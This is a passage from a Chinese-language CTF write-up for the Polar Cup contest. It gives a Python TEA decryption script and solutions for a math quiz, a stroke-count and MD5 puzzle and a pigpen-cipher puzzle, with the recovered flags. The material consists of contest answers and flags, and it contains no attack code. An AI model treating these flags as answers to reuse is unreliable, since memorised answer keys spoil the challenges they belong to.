b[1] = Second.value
return b
def str_encoding(ecryptText, PK):
List = []
ecryptText += (8 - len(ecryptText) % 8) * chr(0)
for m in range(len(ecryptText)/8):
p = 0
q = 0
for n in range(4):
p+= ord(ecryptText[m*8+n]) << (4-n-1)*8
q+= ord(ecryptText[m*8+n+4]) << (4-n-1)*8
List.append(enflag([p,q],PK))
return List
if __name__ == "__main__":
flag = xxxx
PK = [141,262,339,425]
crypto = str_encoding(flag,PK)
print(crypto)然后写个解密脚本
# -*- coding: utf-8 -*-
# Python 3
TT = 0x9e3779b9
MASK = 0xffffffff
def u32(x: int) -> int:
return x & MASK
def tea_decrypt_block(block, key):
"""
block: [v0, v1] 两个 uint32
key: [k0, k1, k2, k3]
"""
v0, v1 = u32(block[0]), u32(block[1])
k0, k1, k2, k3 = key
k0, k1, k2, k3 = u32(k0), u32(k1), u32(k2), u32(k3)
# 加密是 add 从 0 开始每轮 +TT 共 32 轮
# 解密要从 sum=TT*32 开始每轮 -TT
s = u32(TT * 32)
for _ in range(32):
# 对应加密里的:
# Second += ((First<<4)+k2) ^ (First+add) ^ ((First>>5)+k3)
v1 = u32(v1 - (u32((v0 << 4) + k2) ^ u32(v0 + s) ^ u32((v0 >> 5) + k3)))
# 对应加密里的:
# First += ((Second<<4)+k0) ^ (Second+add) ^ ((Second>>5)+k1)
v0 = u32(v0 - (u32((v1 << 4) + k0) ^ u32(v1 + s) ^ u32((v1 >> 5) + k1)))
s = u32(s - TT)
return [v0, v1]
def decrypt_crypto_list(crypto, key):
"""
crypto: 形如 [[v0,v1], [v0,v1], ...]
返回解密后的 bytes(会去掉末尾 \\x00 padding)
"""
out = bytearray()
for blk in crypto:
v0, v1 = tea_decrypt_block(blk, key)
out += v0.to_bytes(4, "big")
out += v1.to_bytes(4, "big")
return bytes(out).rstrip(b"\x00")
if __name__ == "__main__":
# 你题目给的
crypto = [
[3202805436, 509716930],
[3140667873, 1667141091],
[3173275598, 2248305098],
[709283154, 3416762332],
]
PK = [141, 262, 339, 425]
pt = decrypt_crypto_list(crypto, PK)
print(pt) # 原始 bytes
try:
print(pt.decode("utf-8")) # 如果是可见字符串/flag
except UnicodeDecodeError:
print(pt.decode("latin1"))换个位置就行了
翻转一下就能获得flag
flag{1UHSUW_IJNIL_1s_galf}
第五题:数学大师
给了一个很大的程序,点进去是不断闯关,需要过三关
[*]LEVEL 1
[*]v = 1998*1997*1996*1995...*3*2*1
[*]str(v)[0:10]=?
[*]Please input your ansewer:[*]LEVEL 2
[*]φ(718)=?
[*]hint:Euler's totient function
[*]Please input your ansewer:[*]LEVEL 3
[*]3*x+z-y=14,2*y+3*x-z=439,x+y+z=318
[*]x = :丢给ai之后就能通过,最后flag如下
flag{2381885c659b0eb108fe24c4297e5c04}第六题:堂吉诃德走入猪圈
txt文件
得到答案用MD532位小写加密套上flag{}
压缩包密码为数字
堂吉诃德分别对应” 678 5 56 67 “,找笔画,找出来是5748
md加密之后提交即可
flag{ccc49f40c1c0dd3c0f3bd7da83eb2643}第七题:大主教的猪
给我的提示很有限
大主教开的猪圈里的所有猪都不见了,你能帮大主教找到他们在哪吗?
hint:得到的结果小写套上flag{}提交。
变种猪圈密码
对照得出结果即可获得flag
flag{they_are_on_the_truck}
至此,我们polar的杯子到手了
本文记录了参与Polar杯CTF比赛的完整解题过程,涵盖RE、Misc、Web、Crypto等方向,结合IDA、JADX、010Editor等工具进行分析,分享逆向调试、隐写提取、RCE绕过及密码破译等关键技术细节与实战经验。
由 AI 根据全文自动生成,仅供参考,以原文为准